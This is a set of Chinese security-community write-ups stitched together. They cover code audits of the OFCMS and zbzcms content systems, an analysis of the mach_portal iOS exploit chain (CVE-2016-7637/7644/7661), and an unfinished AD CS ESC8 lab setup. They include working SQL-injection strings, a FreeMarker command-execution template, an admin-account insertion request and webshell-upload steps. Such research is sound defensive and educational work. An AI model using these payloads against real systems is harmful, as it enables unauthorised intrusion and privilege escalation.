invoke:67, Invocation (com.jfinal.aop)
handle:82, ActionHandler (com.jfinal.core)
handle:14, WebSocketHandler (com.ofsoft.cms.core.handler)
handle:75, DruidStatViewHandler (com.jfinal.plugin.druid)
handle:48, ActionHandler (com.ofsoft.cms.core.handler)
doFilter:73, JFinalFilter (com.jfinal.core)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:449, AbstractShiroFilter (org.apache.shiro.web.servlet)
call:365, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:383, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:362, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:196, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
首先是tomcat容器进行处理，来到了`doFilter`中进行过滤器的调用之后因为是访问的/admin路径下的资源，使用了shiro组件进行鉴权操作，在web.xml中也有所体现
在shiro鉴权完成之后将会将其还给tomcat进行下一个Filter链的调用，最后来到了save方法的调用
在这里首先会取出Request请求中的res_path参数值，并和`res`进行比较，如果成就就会获取resource下的模板文件目录，如果不成功就会获取webapp下的模板文件目录
之后会获取到模板文件的相对路径`dirs`，在前端UI中就是下图位置
之后将其和模板文件目录进行了拼接，紧接着获取了保存修改的模板文件名，有紧接着获取了需要保存的html文件的内容
之后将获取的时候进行的编码给复原为`<>`等符号，然后在获取了目标文件之后，调用`FileUtils#writeString`方法进行文件的写入
> 但是在这里我有点不太明白，他明明指定了对应html文件的输出流，为什么后端的html代码没有改变，希望有明白的大师傅留个言呗！
好了，现在没有过滤的写入了恶意代码在里面
最后调用了`rendSuccessJson`返回了成功的提醒
，之后就是解析写入的恶意模板
我们可以直接访问404.html文件
首先看一下调用栈
exec:347, Runtime (java.lang)
exec:80, Execute (freemarker.template.utility)
_eval:62, MethodCall (freemarker.core)
eval:76, Expression (freemarker.core)
evalAndCoerceToString:80, Expression (freemarker.core)
accept:40, DollarVariable (freemarker.core)
visit:257, Environment (freemarker.core)
accept:57, MixedContent (freemarker.core)
visit:257, Environment (freemarker.core)
process:235, Environment (freemarker.core)
process:262, Template (freemarker.template)
render:158, FreeMarkerRender (com.jfinal.render)
handle:99, ActionHandler (com.jfinal.core)
handle:14, WebSocketHandler (com.ofsoft.cms.core.handler)
handle:75, DruidStatViewHandler (com.jfinal.plugin.druid)
handle:48, ActionHandler (com.ofsoft.cms.core.handler)
doFilter:73, JFinalFilter (com.jfinal.core)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:196, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:364, CoyoteAdapter (org.apache.catalina.connector)
service:624, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
这里因为直接访问的是`/`虚拟目录下的资源，所以不会被shiro进行鉴权
首先会触发对应的controller的调用，即`IndexController#index`方法
也不难理解，就是判断是否是首页，如果是将会渲染`index.html`模板，当然，如果不是会继续往下走，如果请求的是具体的内容，将会渲染`article.html`但是我们这里啥也不是，将会渲染`FrontConst.pageError`即是`404.html`
接着来到了`FreeMarkerRender#render`方法进行渲染
前面都是一些内容的处理，来看try语句，在得到404.html的模板之后创建了一`PrintWriter`对象，通过调用`process`进行处理
创建了一个`Environment`对象，并调用了process方法
在获取了Template对象之后得到了他的html的具体内容，通过调用`Environment#visit`进行访问模板
调用`MixedContent#accept`方法接收模板内容
在这个方法中将会遍历`nestedElements`中的元素，一个一个进行处理
那么我们看看这里面有什么？
很明显，`Freemarker`将模板中分成了好几块，一块一块的进行了处理，我们可以知道在第3次处理中创建了一个命令执行的类，在第4次处理的时候就会执行我们的恶意代码`calc`
处理模板语句`${ex("calc")}`
来到了`DollarVariable#accept`方法
创建了一个输出流将命令执行的结果返回，首先会执行的是`Expression#evalAndCoerceToString`方法的调用
执行了eval方法，最后调用了`Execute#exec`进行了命令执行
#### Defence
对于这中漏洞的防御，我们可以添加完善的WAF进行拦截
或者是使用 **TemplateClassResolver**
文档：
<https://freemarker.apache.org/docs/api/freemarker/core/TemplateClassResolver.html>
但是同样的，如果有着一些不当的配置仍然能够Bypass，比如说`?api`的开启
### 任意文件上传
这里不存在有文件上传的点，只是在编辑修改模板文件的时候，能够指定文件绝对路径和文件名，且没有过滤文件后缀
我们在上面SSTI分析中，对模板的修改保存流程的跟踪中我们知道调用了`TemplateController#save`方法进行保存修改的模板文件内容
在该方法中获取了`dirs`参数，将会和前面获取到了的`pathFile`进行拼接，之后会获取`file_name`参数获取到文件名和文件内容，最后将文件内容写入文件中
值得注意的是，这里并没有存在任何的过滤，不管是路径穿越，又或者是文件名，或者是危险函数，能够进行文件上传
最后也能够在Tomcat容器中发现写入了shell.jsp
#### Defence
1. 禁止目录穿越
2. 检测文件后缀名
3. 查杀shell
### XSS
同样在UI界面我们可以寻找到一个评论框，尝试XSS，成功执行
我们可以定位后端代码
在`CommentApi#save`方法中打下断点
首先会调用`getParamsMap`方法获取评论的内容 / id等等内容， 之后会添加评论的ip地址，之后执行`Db.update`方法
在执行update方法之前会生成一个sql语句，我们跟进一下细节
调用`MAIN.getSqlPara`方法
之后再`SqlKit#getSqlTemplate`方法中通过key值获取到了对应的sql模板
回到`MAIN.getSqlPara`方法中
通过模板加上数据渲染出了`sqlPara`
之后调用`Db.update`方法执行这个预编译了的sql语句，因为这里是预编译的方式，所以不能够进行sql注入，但是这里没有进行校验就通过insert语句将payload语句写入了数据库中，导致在每次渲染新闻页面的时候都会执行我们的XSS
payload，进而形成了存储型XSS漏洞
#### Defence
当然不止这一处的位置具有XSS，几乎在页面所有可以评论的地方都会形成存储型XSS
1. 严格校验写入数据库的内容
### CSRF
可以抓包发现并没有使用CSRF-Token进行防御
我们可以尝试通过CSRF来进行恶意操作
#### Defence
1. 验证 HTTP Referer 字段
2. 添加Token进行验证
3. HTTP中添加自定义属性进行验证
### SQL注入
我们可以注意到在后台存在一个代码生成的功能点
能够执行sql语句，或许这里存在sql注入
找到后端代码点
检索路由
我们可以定位到`SystemGenerateController`类控制器
关注到`create`方法中
通过获取`sql`参数值获取了type的sql语句，之后调用`Db.update`执行sql语句
又调用了`MAIN.update`继续执行sql语句，其中`MAIN`是`DbPro`类，即调用了`DbPro#update`方法
紧接着跟进了`DbPro#update`方法的重载
之后将会调用到`DbPro#update`方法，返回类型为int
首先会进行预编译，之后通过调用`MysqlDialect#fillStatement`方法填充数据(当然我这里不需要填充)
最后通过调用`executeUpdate`执行sql语句，跟进
最后将会调用`stmt`这个句柄的executeUpdate方法进行执行
我们可以关注一下到底能够执行哪些sql语句
从注释中可以知道可以执行update / insert / delete语句
我们就可以构造恶意的sql语句形成注入
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
同样也可以使用其他的报错语句
虽然这里使用了预编译的方式进行了sql语句的执行，但是根本没有发挥任何的作用
#### Defence
1. 对用户的输入进行过滤 | 社区文章 |
## 0x0前言
下载地址 <http://zbzcms.com/>
环境 php7.3.4,Nodepad++,Phpstudy
## 0x1任意管理员添加
**cms\cms\admin\run_ajax.php**
可对任意表添加任意数据
我们先看看admin表的结构
构造payload添加一个test账号密码也是test
GetData
table=admin
PostData
guanliyuan=test&mima=fb469d7ef430b0baf0cab6c436e70375&dengji=1&chuangjianshijian=1
查看数据库，成功添加
### 第二处
**cms\cms\admin\run_ajax.php**
构造payload
成功添加
## 0x2任意文件写入
**cms\cms\admin\run_ajax.php**
未做任何鉴权，也无过滤直接写入
构造payload：
访问
## 0x03 任意文件删除
**cms\cms\include\up.php**
传入要删除的路径即可,无做任何限制
GetData
run=del
PostData
url=FilePath
## 0x04Sql注入
### 第一处
**cms/api/caiji.php**
当$run等于shenhe时，会从get接收lanmu的值带入数据库执行
$tid=$_GET['lanmu'];
$up_arr=array('fabushijian',time());
$ids=$c_sql->select("select id from art where (fabushijian=1 and tid={$tid}) limit 1");
run的值是从get接收
此处可以使用布尔或延时注入，这里使用延时payload
### 第二处
**cms\common\php\ajax.php**
接收get.id的值直接带入执行
此处有回显可使用联合注入
-1 union select 1,2,3,user(),5,6,7,8,9
### 第三处
**cms\common\php\ajax.php**
同上一个点一样,接收get.id参数
因为他只查询了一个字段联合注入只需要构造一个字段即可
-1 union select user()
### 第四处
**cms\cms\include\make.php**
此处的注入在limit之后且存在order利用方式条件受限
此方法适用于 5.0.0< MySQL <5.6.6版本，在limit语句后面的注入，使用 PROCEDURE函数进行注入
limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
可参考
<https://www.jianshu.com/p/6c1420a7a7d9>
## 0x05任意文件上传
**cms\cms\admin\ajax.php**
构造文件上传包,上传文件参数任意
### 第二处
**cms\cms\include\up.php**
未做任何限制，且路径文件名都可控
构造上传
### 第三处
**cms\cms\zbzedit\php\zbz.php**
直接构造上传包 | 社区文章 |
# 【技术分享】iOS 安全之针对 mach_portal 的分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[shrek_wzw@360涅槃团队](http://bobao.360.cn/member/contribute?uid=1224214662)
预估稿费：800RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一. 背景**
Google Project Zero的Ian Beer在12月中旬放出了在iOS 10.*上获取root
shell的利用代码，意大利的Luca在此基础上添加了KPP绕过，实现了iOS
10.*的越狱。本文将结合mach_portal的源码对其利用的三个漏洞进行分析，并对每一个步骤进行说明。
mach_portal利用的漏洞都源于XNU内核对Mach
Port的处理不当，相信这也是mach_portal名称的由来。XNU内核提供了多种进程间通信（IPC）的方法，Mach IPC就是其中的一种。Mach
IPC基于消息传递的机制来实现进程间通信，关于Mach IPC的消息传递在众多书籍和文章中都有介绍，在此就不再赘述。我们这里介绍Mach Port。
Mach消息是在端口（Port）之间进行传递。一个端口只能有一个接收者，而可以同时有多个发送者。向一个端口发送消息，实际上是将消息放在一个消息队列中，直到消息能被接收者处理。
内核中有两个重要的结构，ipc_entry和ipc_object。ipc_entry是一个进程用于指向一个特定ipc_object的条目，存在于各个进程的ipc
entry table中，各个进程间相互独立。
ipc_object就是ipc port或者ipc port
set，实际上代表的就是一个消息队列或者一个内核对象（task，thread等等），Mach消息的传递就是通过ipc
port的消息队列。ipc_object在内核中是全局的，一个ipc_object可以由不同进程间的ipc_entry同时引用。平常我们在编写代码时得到的Mach
Port是一个32位无符号整型数，表示的是ipc_entry在ipc entry
table中的索引值。经过MIG的转换后，在内核中，就可以从ipc_port得到实际的内核对象，例如convert_port_to_task等等。具体可以参考XNU源码和《Mac
OS X Internals: A Systems Approach》，对于Mach IPC的相关数据结构有更为详细的说明。
**二. 漏洞详情**
mach_portal利用了三个漏洞，CVE-2016-7637、CVE-2016-7644、CVE-2016-7661。下面将对这三个漏洞的进行分析。
**1\. CVE-2016-7637**
漏洞说明：内核对于ipc_entry的user
reference处理不当，使得ipc_entry被释放后重用，导致特权port可能被替换成攻击者控制的port。（GPZ Issue 959）
漏洞分析：当一个进程接收到带有port的mach message时，函数调用的流程如下。
在ipc_right_copyout函数中，会将port right复制到当前task的ipc entry
table中。ipc_entry的ie_bits的含义如下图。ie_bits的低16位为user
reference，表示的当前ipc_entry的引用数量，最大值为0xFFFF。
当ipc_right_copyout处理 MACH_PORT_TYPE_SEND的port时，代码如下
可以看到，user references的值不会超过MACH_PORT_UREFS_MAX-1 = 0xFFFE。考虑这样一种场景，当前进程收到一个ool
ports descriptor消息，当这条ool ports
descriptor消息因为不符合接收进程的标准而被销毁时，以mach_msg_server为例，会调用mach_msg_destroy释放消息中带有的所有port
right，如图。
ool ports descriptor被销毁时，会调用mach_msg_destroy_port释放每一个port
right，更下层的函数会调用ipc_right_dealloc减少port对应的ipc_entry的一个引用（urefs）。当urefs等于0时，这个ipc_entry就会被释放到free
list中，表示当前entry已经处于空闲状态，可以被申请用于指向另一个ipc_object。
如果消息中带有同一个port的0x10000个descriptor，那么在处理这个消息时就会使得当前这个port对应的ipc_entry的user
reference到达上限0xFFFE。当被销毁时，这个ipc_entry就会被释放0x10000次，进而进入free
list。然而，用户空间并不知道这个ipc_entry已经被释放，因为用户空间的进程保留的仅仅是一个32位的整型索引。当尝试用这个索引去访问ipc
entry table对应位置的ipc entry时，就会出现问题。
攻击方式：利用这个漏洞，可以使高权限进程中的特权port的ipc_entry被释放，然后再利用我们拥有receive
right的port重新占位（需要处理ipc_entry的generation
number），使得原先发送到特权port的消息都会被发送到我们拥有receive right的port上，形成port消息的中间人攻击。
利用方法（macOS提权，Ian Beer提供的PoC的攻击流程）：
（1）攻击目标是com.apple.CoreServices.coreservicesd服务（mach_portal的目标不同），launchd拥有这个服务的send
right。
（2）攻击者通过漏洞使得launchd拥有的send right被释放。
（3）然后再利用launchd注册大量的服务，期望这些服务的port的ipc_entry会重用之前被释放的send right。
（4）这样，当任意进程通过bootstrap port尝试查找coreservicesd的服务端口时，launchd就会将攻击者拥有receive
right的端口发送给它。
（5）攻击者的进程拥有coreservicesd的send right。可以通过中间人（MiTM）的方式，来监听任意进程与coreservicesd的通信。
（6）通过获取root进程的task port，来得到root shell。
**2\. CVE-2016-7644**
漏洞说明：在调用set_dp_control_port时，缺乏锁机制导致的竞争条件，可能造成ipc_entry指向被释放的ipc_port，形成UAF。（GPZ
Issue 965）
漏洞分析：
set_dp_control_port源码如下
在调用ipc_port_release_send释放port的send
right的时候，没有加锁。两个线程通过竞争条件，可以释放掉一个port的两个reference，使得ipc_entry指向被释放的ipc port。
利用方法（mach_portal）：
(1) set_dp_control_port的第一个参数是host_priv，需要通过root权限的task获取
(2) 攻击者分配一个拥有receive right的port，插入send right引用（ipc_entry）。
(3) 利用port descriptor消息将这个port发送给自己，使内核拥有一个这个port的send right引用。
(4) 调用set_dp_control_port将这个port设置为dynamic_pager_control_port，拥有一个send right。
(5) 利用mach_port_deallocate释放自己的send right。这时，这个port的包含两个send right计数：port
descriptor和dynamic_pager_control_port。包含三个引用计数：ipc_entry，port
descriptor和dynamic_pager_control_port。
(6) 利用两个线程触发set_dp_control_port的竞争条件漏洞，使得引用数减少2。这时，这个port的send
right计数为0，引用计数为1。但是仍然有两个指针指向这个port：ipc_entry，port descriptor。
(7) 再销毁之前发送的port
descriptor消息，释放最后一个引用，使ipc_port被释放。形成ipc_entry指向一个被释放的ipc_port，利用其它数据占位这个被释放的ipc_port，即形成UAF。
**3\. CVE-2016-7661**
漏洞说明：powerd对于DEAD_NAME通知的处理存在缺陷，导致攻击者指定的port在powerd进程中被释放，形成拒绝服务或port替换。（GPZ
Issue 976）
漏洞分析：漏洞的详细分析参照Ian Beer的漏洞报告。这里简单说明一下漏洞的成因。
powerd进程创建pmServerMachPort用于接收相关的服务消息，同时在这个port上允许接收DEAD_NAME的通知。当接收到一条msgid为MACH_NOTIFY_DEAD_NAME时，就会从消息中的not_port字段取出port的值，然后调用mach_port_deallocate进行销毁。
之所以会造成漏洞，是因为这个DEAD_NAME通知的消息是简单消息（simple
message）。简单消息的传递并不涉及底层ipc_port的引用计数的修改，这里的not_port仅仅是一个整型的数据，这就表示攻击者可以向mach_port_deallocate提供任意的port参数。如果这个port参数正好是powerd进程中合法的一个port，就会导致port的释放，例如当前进程的task
port。一旦task port被异常释放掉，后续的一些以task
port作为参数的函数调用极有可能失败。这时，若缺乏对失败函数的检查，就可能导致powerd进程崩溃。
攻击方法（mach_portal）：
(1) powerd进程以root权限运行
(2) mach_portal的目的是导致powerd进程崩溃，再其重新启动后向launchd注册服务时，通过port中间人攻击，窃取其task
port来获取host priv port。
(3)
具体的攻击方式如分析中所述，向powerd进程的服务端口发送DEAD_NAME通知消息，以0x103作为not_port的数值（在大多数情况下，0x103是mach_task_self的返回值），这就会导致powerd进程调用mach_port_deallocate释放掉自身的task
port。
(4) 在调用io_ps_copy_powersources_info时，powerd进程就会通过vm_allocate，以task
port作为参数尝试分配内存。由于task port已经被释放，这时vm_allocate分配内存失败。
(5) powerd缺少对于返回值的检测，就会访问一个非法的地址指针，导致powerd进程崩溃。
**三. mach_portal源码文件**
mach_portal包含了在10.*的设备上获取root shell的代码。下面简单说明一下源码中比较重要的各个文件的作用。
**cdhash.c：** 计算MachO文件的CodeDirectory SHA1 Hash
**disable_protections.c：** 将mach_portal进程提权至root，绕过沙盒的限制
**drop_payload.c：** 处理iosbinpack中的可执行文件，socket监听端口，生成shell
**jailbreak.c：** 越狱流程入口
**kernel_memory_helpers.c：** 获取kernel task port后，内核读写的接口封装
**kernel_sploit.c：** set_dp_control_port竞争条件的利用，用于获取kernel task port
**offset.c：** 包含设备以及系统相关的偏移量的初始化
**patch_amfid.c：** 利用amfid的exception port来绕过代码签名
**sandbox_escape.c：** 利用ipc_entry urefs和powerd的漏洞，获得host priv port，进一步攻击内核
**unsandboxer.c：** 利用bootstrap
port在父子进程之间的继承，监听子进程和launchd的通信，获取子进程的pid，通过提权，使mach_portal的子进程也绕过沙盒
**四. mach_portal攻击流程**
****
mach_portal实现越狱的过程可以分为两个部分。第一个部分是利用上文提到的三个漏洞组合，获取到kernel task
port，能够实现内核任意读写。第二部分是对于一些保护机制的绕过，包括沙盒、代码签名等等，由于仅仅是纯数据的修改，并不涉及任何代码片段的patch，不会触发KPP。
**第一部分：**
1\. 利用漏洞 1 — CVE-2016-7637 释放launchd拥有的iohideventsystem port，实现MiTM。
2\. 利用漏洞 3 — CVE-2016-7661 触发powerd崩溃，使得powerd将其task port发送给我们，得到拥有root权限的task
port。
3\. 利用powerd的task port，获取host priv port，触发漏洞 2 — CVE-2016-7644，实现内核exploit。
4\. 通过内核exploit获得kernel task port，实现内核地址空间的任意读写。
**第二部分：**
1\. 得到内核空间的任意读写权限后，就能够实现对任意进程地址空间的任意读写（能够从proc list得到任意进程的task port）。
2\. 利用内核读写将本进程（mach_portal）的credential设置成kernproc的credential，实现提权和沙盒的绕过。
3\. 将containermanagerd的credential也设置成kernproc的credential。
4\. 将kernel task port设置成host special port
4，便于其他工具通过host_get_special_port获取kernel task port。
5\.
恢复第一部分中用于中间人攻击的launchd的iohideventsystem的port为原始的port，并再次触发powerd崩溃，修复powerd进程对于iohideventsystem的send
right。
6\. 利用amfid的task port，调用task_set_exception_ports，将amfid的exception
port设置成我们拥有receive
right的port，并修改amfid的导入表，将MISValidateSignatureAndCopyInfo的导入地址设置成非法的地址。这样，当进行代码签名验证的时候，就会触发异常并将异常信息发送到我们的端口。我们对异常信息进行处理，并自行计算MachO
CodeDirectory的SHA1
Hash后将其写入amfid的地址空间，最后修复amfid中引起异常的线程的状态。成功绕过amfid的代码签名检查，可以执行任意未签名的MachO文件。
7\. 为了能够监听端口，生成shell，需要子进程也拥有root权限、绕过沙盒。这里利用子进程创建时会从父进程继承bootstrap
port的特点。首先调用task_set_special_port将自身的bootstrap port设置成新申请的fake bootstrap
port，这时创建的所有子进程就会继承这个fake bootstrap
port。父进程利用port中间人攻击的方法，监听子进程和launchd的通信，获取子进程的pid后，修改对应pid的内核proc结构的credential为kernproc的credential，实现子进程的提权和沙盒绕过。
8\.
最后的部分，处理iosbinpack中的可执行文件的路径，设置权限。生成PATH环境变量的路径，创建socket绑定端口。在接收外部连接后，调用posixspawn运行bash，重定向标准输入、标准输出和标准错误至socket的fd，实现bind
shell。这时，外部连接就能够通过nc连接对应的端口，以root的权限通过bash shell访问文件系统。
**五. mach_portal部分利用细节**
下面将会详细说明其中内核利用部分一些比较重要的实现细节。盘古团队在1月5日的博客中也解释了这些细节（http://blog.pangu.io/mach-portal-details/），可以参考。结合mach_portal和XNU的源码，相信也能够有更好的理解。我这里只是抛砖引玉，阐述自己的理解。
**1\. ipc_entry索引复用**
触发CVE-2016-7637针对ipc_entry的漏洞时，涉及ipc_entry索引的复用。ipc_entry的索引就是用户空间观察到的mach
port name，一个32位的整型。这个32位整型分为两部分，高24位（index）和低8位（generation number）。
详情参见源码ipc_entry.c。当调用ipc_entry_alloc分配一个新的ipc_entry时，会从对应的ipc entry
table的位置上取出ie_bits，在原来的generation number的基础上加上4。
同一个ipc_entry的name索引（高24位）始终不变。但generation number仅仅占用8位，因此这个ipc_entry被分配 256 /
4 = 64 次后，返回给用户空间的name就会相同，实现ipc_entry的复用。
mach_portal攻击launchd的代码见sandbox_escape.c。mach_portal攻击的是launchd进程拥有的com.apple.iohideventsystem的send
right（mach port
name）。操作launchd中的ipc_entry的分配和释放的代码见send_looper函数，调用一次send_looper函数，就会在launchd进程中申请一定数量的ipc_entry后再释放。
劫持流程如下：
① mach_portal触发漏洞释放com.apple.iohideventsystem对应的ipc_entry后，这时ipc_entry位于free
list的第一个。
② 调用send_looper向launchd发送0x100个port，就会首先占用目标ipc_entry，然后再从free
list取出其他ipc_entry进行占用。
③ 当这0x100个port被释放的时候，会按照在port
descriptor消息中的顺序进行释放。我们的目标ipc_entry由于最先被释放，根据free list LIFO的特点，因此会位于free
list第0x100左右的位置。（完成1次）
④
接下来的62次调用send_looper，发送0x200个port进行launchd进程的ipc_entry的分配和释放，可以保证目标ipc_entry在被释放后始终位于free
list 0x100左右的位置。（完成62次）
⑤ 最后我们向launchd注册大量app group的服务（由于iOS注册服务的限制，这里注册app group的服务），提供我们拥有receive
right的port作为这些服务的port。经过3和4两个步骤后，已经完成了63次的分配和释放。当我们向launchd注册大量的服务时，相当于第64次进行ipc_entry的分配和释放，使得目标ipc_entry被成功复用，并且指向的是我们拥有receive
right的port。
⑥
任意进程向launchd申请com.apple.iohideventsystem的port时，launchd就会将我们的port的发送给请求者进程。通过接收port上的消息，进行监听处理后，将其转发给真正的服务port，从而实现中间人攻击。
**2\. Port中间人攻击**
port消息的中间人攻击也是mach_portal的一个亮点。当我们劫持了launchd进程中的com.apple.iohideventsystem的对应的port后，任意进程向com.apple.iohideventsystem发送的消息都会经过我们拥有的port。
我们当前拥有com.apple.iohideventsystem的真实port，通过劫持port接收到的消息需要继续转发给真正的服务port，以维持系统的正常运行。攻击者的目的是从发送的消息中监听所有可能被发送出来的task
port，并在这些task port上调用task_get_special_port函数，尝试获取host priv
port，只要成功获取，目标（触发下一阶段的竞争条件漏洞需要host priv port）就以达到，见inspect_port函数。
具体实现见sandbox_escape.c的do_service_mitm函数。函数流程如下：
**3\. 跨zone的port UAF利用**
set_dp_control_port的竞争条件漏洞的利用代码位于kernel_sploit.c文件中，目标是获取kernel task
port。总体流程如下：
由于ipc_port位于独立的ipc.ports zone中，因此无法按照过往的heap spray的方式进行kalloc zone占位利用。
首先通过分配大量的port并使得其中0x20个middle
port通过set_dp_control_port漏洞减少其引用数。这时，当前进程的ipc_entry状态如下（便于理解，port处于连续位置）：
一个port的引用数为1，但是被两个指针指向。释放ool ports descriptor后并触发mach zone gc后，内存状态如下：
发送包含host priv port的ool ports descriptor消息。内核对于mach
msg中MACH_MSG_OOL_PORTS_DESCRIPTOR的处理代码见ipc_kmsg_copyin_ool_ports_descriptor函数，内核会调用kalloc重新分配页面，这时被攻击者释放的pages就会被重新使用，并填充ool
ports descriptor的消息。内核会将对应位置的mach port
name转化成对应的内核对象指针，如下图代码所示。在mach_portal的利用中，这里的object就是host priv
port的内核ipc_port。
这时，内存的状态处于下图的类似状态（简图），在ool ports descriptor的特定位置设置host priv port
name，其余port保持为0。
具体到每一个ipc_port块所对应的情况如下：
ip_context是ipc_port可以在用户空间访问的变量。用户空间可以通过调用mach_port_get_context得到，通过mach_port_set_context进行设置。
通过在悬垂的ipc_port指针上调用mach_port_get_context，就会将上图中绿色部分的host priv
port的指针返回给用户空间，实现了内核信息泄露。
因为host priv port和kernel task port都是在系统启动阶段分配，并且时间临近，因此在host priv
port的地址附近，可能存在kernel task
port。mach_portal就根据这个特点进行猜测，将可能的地址数值通过mach_port_set_context，设置到悬垂的ipc_port指针指向的区域中，修改原有的ool
ports message的对象指针。
最后，mach portal在用户空间接收这些被修改的ool ports
message。与内核接收MACH_MSG_OOL_PORTS_DESCRIPTOR时的处理（port_name To
object_ptr）相反，内核会将port地址转换成port name返回给用户空间（object_ptr To
port_name）。如果这些猜测的地址中包含真正的kernel task port的地址，那么用户空间就会从ool ports
message中得到其对应的port name。通过pid_for_task检查得到的task port的pid是否为0，即可判断是否成功获取了kernel
task port。
**References**
1.XNU 3248.60.10
<https://opensource.apple.com/tarballs/xnu/xnu-3248.60.10.tar.gz>
2\. CVE-2016-7637 By Ian Beer <https://bugs.chromium.org/p/project-zero/issues/detail?id=959>
3\. CVE-2016-7644 By Ian Beer <https://bugs.chromium.org/p/project-zero/issues/detail?id=965>
4\. CVE-2016-7661 By Ian Beer <https://bugs.chromium.org/p/project-zero/issues/detail?id=976>
5\. Mac OS X Internals: A Systems Approach
6\. mach portal漏洞利用的一些细节 by Pangu <http://blog.pangu.io/mach-portal-details/> | 社区文章 |
### 前言
specterops在前一段时间发布了关于域证书，也就是Active Directory
证书服务相关攻击手法和漏洞的白皮书，specterops在白皮书一共提到了19种关于adcs的利用，大致可以分为窃取、权限维持、提权几种类型。国内分析的更多集中在ESC8也就是relay的利用上，本文主要在理解域证书的基础复现ESC8的利用手法。
白皮书地址:<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>
### 环境搭建(Active Directory 证书服务)
这里我准备了两台winserver2012的机器，一台作为主DC，一台作为辅DC。
我们首先搭建好一个域环境，配置好DNS环境:
攻击机 10.211.55.128 Kali
DC主机 10.211.55.12 win2012R2
辅DC 10.211.55.7 win2012R2
我们在辅DC安装域证书服务(adcs)，在部署证书服务器时建议独立部署，不要和域控制器部署在同一台服务器中。
打开服务器管理器，找到添加角色和功能，下一步，找到Active Directory证书服务,默认下一步即可。
这里要勾选1和4,因为之后relay时要用到证书注册的功能，然后默认安装即可。
### 关于域证书
AD
CS证书服务（SSL证书)，简单说就是可以用于部署企业根或独立根建立SSL加密通道。ADCS可以用来加密文件系统，数字签名，以及身份验证。它实际上是微软对于PKI解决方案的实现。
AD CS 角色包括下列角色服务：
* 证书颁发机构
* 证书颁发机构 Web 注册
* 在线响应者
* 网络设备注册服务 (NDES)
* 证书注册 Web 服务 (CES)
* 证书注册策略 Web 服务。
#### CA(证书颁发机构)
证书颁发机构。 CA 的主要用途是颁发证书、吊销证书，以及发布授权信息访问 (AIA) 和吊销信息。 部署的第一个 CA 会成为内部 PKI 的根。
然后，可以部署位于 PKI 层次结构中的从属 CA，并将根 CA 置于其顶部。 从属 CA 隐式信任根 CA，并隐含信任根 CA 颁发的证书。
##### 配置CA
点击旗帜图标，配置目标服务器上的Active Directory证书服务，进行CA的配置（根证书和私钥等）
勾选“证书颁发机构”和“证书颁发机构Web注册”
其他的默认安装即可。
证书服务颁发机构Web注册页面如下，Certsrv便是证书服务颁发机构Web注册在IIS默认站点下生成的应用程序。
#### 证书模板
我们打开证书颁发机构，默认已经包含常见的证书模板，在证书模板中定义了颁发证书的信息（加密程序、证书有效期、是否允许导出私钥等）
在运行中输入：mmc，在添加/删除管理单元处可以添加证书模板
#### 通过web服务器进行证书申请
首先我们需要在IIS服务器里，创建证书申请
申请之后我们会得到一个保存有证书申请信息的txt文件。
之后我们打开证书颁发机构Web注册页面，点击申请证书
之后要选择高级证书申请，使用Base64编码提交证书申请
将复制的内容粘贴到如下位置，选择证书模板：Web服务器。提交即可
更多的关于ADCS的资料大家可以从微软官网获取
### ESC8(ADCS Relay)
